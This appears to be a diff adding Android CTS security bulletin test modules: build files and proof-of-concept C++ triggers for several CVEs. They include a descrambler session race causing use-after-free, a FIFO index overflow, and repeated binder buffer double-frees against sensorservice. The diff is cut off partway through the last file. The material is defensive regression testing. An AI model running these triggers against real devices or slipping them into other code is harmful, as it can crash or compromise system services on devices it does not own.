+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9539
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    android.hardware.cas@1.0 \
+    android.hardware.cas.native@1.0 \
+    libhidlbase \
+    libhidltransport \
+    libhwbinder \
+    libbinder \
+    libcutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
new file mode 100644
index 0000000..0b464e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/hardware/cas/1.0/ICas.h>
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/MemoryHeapBase.h>
+#include <utils/StrongPointer.h>
+
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using ::android::MemoryHeapBase;
+using ::android::sp;
+using ::android::hardware::hidl_handle;
+using ::android::hardware::hidl_memory;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::Return;
+using namespace android::hardware::cas::V1_0;
+using namespace android::hardware::cas::native::V1_0;
+
+#define CLEARKEY_SYSTEMID (0xF6D8)
+
+#define THREADS_NUM (5)
+
+typedef enum {
+  RESULT_CRASH,
+  RESULT_SESSION1,
+  RESULT_SESSION2,
+} thread_result_t;
+
+// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
+static const char *provision_str =
+    "{                                                   "
+    "  \"id\": 21140844,                                 "
+    "  \"name\": \"Test Title\",                         "
+    "  \"lowercase_organization_name\": \"Android\",     "
+    "  \"asset_key\": {                                  "
+    "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  "
+    "  },                                                "
+    "  \"cas_type\": 1,                                  "
+    "  \"track_types\": [ ]                              "
+    "}                                                   ";
+static const uint8_t ecm_buffer[] = {
+    0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
+    0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
+    0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
+    0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
+    0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
+    0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
+    0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
+};
+
+static sp<IDescrambler> descrambler;
+static pthread_barrier_t barrier;
+
+static void *thread_func(void *) {
+  // Prepare everything needed for an encrypted run of descramble
+
+  sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
+
+  native_handle_t *handle = native_handle_create(1, 0);
+  handle->data[0] = heap->getHeapID();
+
+  SharedBuffer src;
+  src.offset = 0;
+  src.size = 0x1000;
+  src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
+
+  DestinationBuffer dst;
+  dst.type = BufferType::SHARED_MEMORY;
+  dst.nonsecureMemory = src;
+
+  hidl_vec<SubSample> subsamples;
+  SubSample subsample_arr[0x100] = {
+      {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
+  subsamples.setToExternal(subsample_arr, 0x100);
+
+  Status descramble_status;
+
+  // Wait for all other threads
+  pthread_barrier_wait(&barrier);
+
+  // Run descramble
+  Return<void> descramble_result = descrambler->descramble(
+      ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
+      [&](Status status, uint32_t, const hidl_string &) {
+        descramble_status = status;
+      });
+
+  // Cleanup
+  native_handle_delete(handle);
+
+  if (!descramble_result.isOk()) {
+    // Service crashed, hurray!
+    return (void *)RESULT_CRASH;
+  }
+
+  // If descramble was successful then the session had a valid key, so it was
+  // session1. Otherwise it was session2.
+  return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
+                                                  : RESULT_SESSION2);
+}
+
+int main() {
+  // Prepare cas & descrambler objects
+
+  sp<IMediaCasService> service = IMediaCasService::getService();
+  FAIL_CHECK(service != NULL);
+
+  sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
+  FAIL_CHECK(cas->provision(provision_str) == Status::OK)
+
+  sp<IDescramblerBase> descramblerBase =
+      service->createDescrambler(CLEARKEY_SYSTEMID);
+  descrambler = IDescrambler::castFrom(descramblerBase);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    // Prepare sessions
+    Status opensession_status;
+    hidl_vec<uint8_t> session1;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session1 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+    // Add a key to the first session. This will make descramble work only on
+    // the first session, helping us differentiate between the sessions for
+    // debugging.
+    hidl_vec<uint8_t> ecm;
+    ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
+    FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
+
+    hidl_vec<uint8_t> session2;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session2 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+
+    // Set the descrambler's session to session1, then close it (and remove it
+    // from the sessions map). This way the only reference on the service to
+    // session1 will be from descrambler's session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
+    FAIL_CHECK(cas->closeSession(session1) == Status::OK);
+
+    // Prepare the threads which run descramble
+    FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
+    pthread_t threads[THREADS_NUM];
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
+    }
+
+    // Let the threads run by waiting on the barrier. This means that past this
+    // point all threads will run descramble.
+    pthread_barrier_wait(&barrier);
+
+    // While the threads are running descramble, change the descrambler session
+    // to session2. Hopefully this will cause a use-after-free through a race
+    // condition, session1's reference count will drop to 0 so it will be
+    // released, but one thread will still run descramble on the released
+    // session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
+
+    // Go over thread results
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      thread_result_t thread_result;
+      FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
+      if (thread_result == RESULT_CRASH) {
+        return EXIT_VULNERABLE;
+      }
+    }
+
+    // Cleanup
+    FAIL_CHECK(cas->closeSession(session2) == Status::OK);
+    FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
+  }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.mk
new file mode 100644
index 0000000..556e735
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-1988
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/skia/include/codec
+LOCAL_C_INCLUDES += external/skia/include/core
+LOCAL_C_INCLUDES += frameworks/native/libs/nativewindow/include
+LOCAL_C_INCLUDES += frameworks/native/libs/arect/include
+LOCAL_SHARED_LIBRARIES := libhwui
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..a8b5da6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include <fstream>
+#include <iostream>
+#include "../includes/memutils.h"
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+    auto codec = SkAndroidCodec::MakeFromData(bytes);
+    if (!codec) {
+        return EXIT_FAILURE;
+    }
+
+    auto size = codec->getSampledDimensions(sampleSize);
+    auto info = SkImageInfo::MakeN32Premul(size);
+    SkBitmap bm;
+    if (!bm.tryAllocPixels(info)) {
+        return EXIT_FAILURE;
+    }
+
+    SkAndroidCodec::AndroidOptions options;
+    options.fSampleSize = sampleSize;
+
+    codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+    return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+    std::ifstream inFile(argv[1]);
+    if (!inFile) {
+        return EXIT_FAILURE;
+    }
+    inFile.seekg(0, inFile.end);
+    size_t size = inFile.tellg();
+    if (size < 1) {
+        inFile.close();
+        return EXIT_FAILURE;
+    }
+    inFile.seekg(0, inFile.beg);
+    enable_selective_overload = ENABLE_ALL;
+    uint8_t *data = (uint8_t *)malloc(size);
+    if (!data) {
+        return EXIT_FAILURE;
+    }
+    inFile.read(reinterpret_cast<char *>(data), size);
+    auto bytes = SkData::MakeWithoutCopy(data, size);
+    bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+    int ret = decode(bytes, SAMPLE_SIZE);
+    enable_selective_overload = ENABLE_NONE;
+    inFile.close();
+    free(data);
+    return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk
new file mode 100644
index 0000000..000c4c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2007
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/libaaudio/src
+LOCAL_SHARED_LIBRARIES := libaaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -Wno-constant-conversion
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp
new file mode 100644
index 0000000..b7db061
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "fifo/FifoBuffer.h"
+#include "fifo/FifoController.h"
+#include "../includes/common.h"
+#include <stdlib.h>
+#define CAPACITY 83
+#define THRESHOLD 47
+#define NUM_FRAMES -9999999999
+
+using android::FifoController;
+
+int main (){
+    FifoController fifoController(CAPACITY, THRESHOLD);
+    fifoController.advanceReadIndex(NUM_FRAMES);
+    fifoController.advanceWriteIndex(NUM_FRAMES);
+    int32_t readIndex = fifoController.getReadIndex();
+    int32_t writeIndex = fifoController.getWriteIndex();
+
+    if ((readIndex < 0) || (writeIndex < 0)) {
+        return EXIT_VULNERABLE;
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
new file mode 100644
index 0000000..9e62920
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2025
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    libcutils \
+    libsensor \
+    libbase \
+    libbinder \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef  int  uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+    static  IPCThreadState*     self();
+    static  IPCThreadState*     selfOrNull();  // self(), but won't instantiate
+    
+            sp<ProcessState>    process();
+            
+            status_t            clearLastError();
+
+            pid_t               getCallingPid() const;
+            uid_t               getCallingUid() const;
+
+            void                setStrictModePolicy(int32_t policy);
+            int32_t             getStrictModePolicy() const;
+
+            void                setLastTransactionBinderFlags(int32_t flags);
+            int32_t             getLastTransactionBinderFlags() const;
+
+            int64_t             clearCallingIdentity();
+            void                restoreCallingIdentity(int64_t token);
+            
+            int                 setupPolling(int* fd);
+            status_t            handlePolledCommands();
+            void                flushCommands();
+
+            void                joinThreadPool(bool isMain = true);
+            
+            // Stop the local process.
+            void                stopProcess(bool immediate = true);
+            
+            status_t            transact(int32_t handle,
+                                         uint32_t code, const Parcel& data,
+                                         Parcel* reply, uint32_t flags);
+
+            void                incStrongHandle(int32_t handle, BpBinder *proxy);
+            void                decStrongHandle(int32_t handle);
+            void                incWeakHandle(int32_t handle, BpBinder *proxy);
+            void                decWeakHandle(int32_t handle);
+            status_t            attemptIncStrongHandle(int32_t handle);
+    static  void                expungeHandle(int32_t handle, IBinder* binder);
+            status_t            requestDeathNotification(   int32_t handle,
+                                                            BpBinder* proxy); 
+            status_t            clearDeathNotification( int32_t handle,
+                                                        BpBinder* proxy); 
+
+    static  void                shutdown();
+
+    // Call this to disable switching threads to background scheduling when
+    // receiving incoming IPC calls.  This is specifically here for the
+    // Android system process, since it expects to have background apps calling
+    // in to it but doesn't want to acquire locks in its services while in
+    // the background.
+    static  void                disableBackgroundScheduling(bool disable);
+            bool                backgroundSchedulingDisabled();
+
+            // Call blocks until the number of executing binder threads is less than
+            // the maximum number of binder threads threads allowed for this process.
+            void                blockUntilThreadAvailable();
+    static  void                freeBuffer(Parcel* parcel,
+                                           const uint8_t* data, size_t dataSize,
+                                           const binder_size_t* objects, size_t objectsSize,
+                                           void* cookie);
+    static  void                freeBuffer1(Parcel* parcel,
+                                       const uint8_t* data, size_t dataSize,
+                                       const binder_size_t* objects, size_t objectsSize,
+                                       void* cookie);
+private:
+                                IPCThreadState();
+                                ~IPCThreadState();
+
+            status_t            sendReply(const Parcel& reply, uint32_t flags);
+            status_t            waitForResponse(Parcel *reply,
+                                                status_t *acquireResult=NULL);
+            status_t            talkWithDriver(bool doReceive=true);
+            status_t            writeTransactionData(int32_t cmd,
+                                                     uint32_t binderFlags,
+                                                     int32_t handle,
+                                                     uint32_t code,
+                                                     const Parcel& data,
+                                                     status_t* statusBuffer);
+            status_t            getAndExecuteCommand();
+            status_t            executeCommand(int32_t command);
+            void                processPendingDerefs();
+            void                processPostWriteDerefs();
+
+            void                clearCaller();
+
+    static  void                threadDestructor(void *st);
+    
+    const   sp<ProcessState>    mProcess;
+            Vector<BBinder*>    mPendingStrongDerefs;
+            Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+            Vector<RefBase*>    mPostWriteStrongDerefs;
+            Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+            Parcel              mIn;
+            Parcel              mOut;
+            status_t            mLastError;
+            pid_t               mCallingPid;
+            uid_t               mCallingUid;
+            int32_t             mStrictModePolicy;
+            int32_t             mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..48ece98
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+             const struct timespec *timeout, int *uaddr2, int val3) {
+  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+    my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+    usleep(100);
+    IInterface::asBinder(sensorEventConnection)
+        ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+  }
+
+  return NULL;
+}
+
+static void *bcfree(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+    {
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+      const uint8_t *rmData = reply.data();
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+    }
+
+    attack_signal = ATTACK;
+    my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+    usleep(100);
+    {
+      Parcel data, reply;
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+      for (int i = 0; i < 20; i++)
+        IInterface::asBinder(sensorEventConnection)
+            ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+    }
+    attack_signal = SLEEP;
+  }
+
+  return NULL;
+}
+
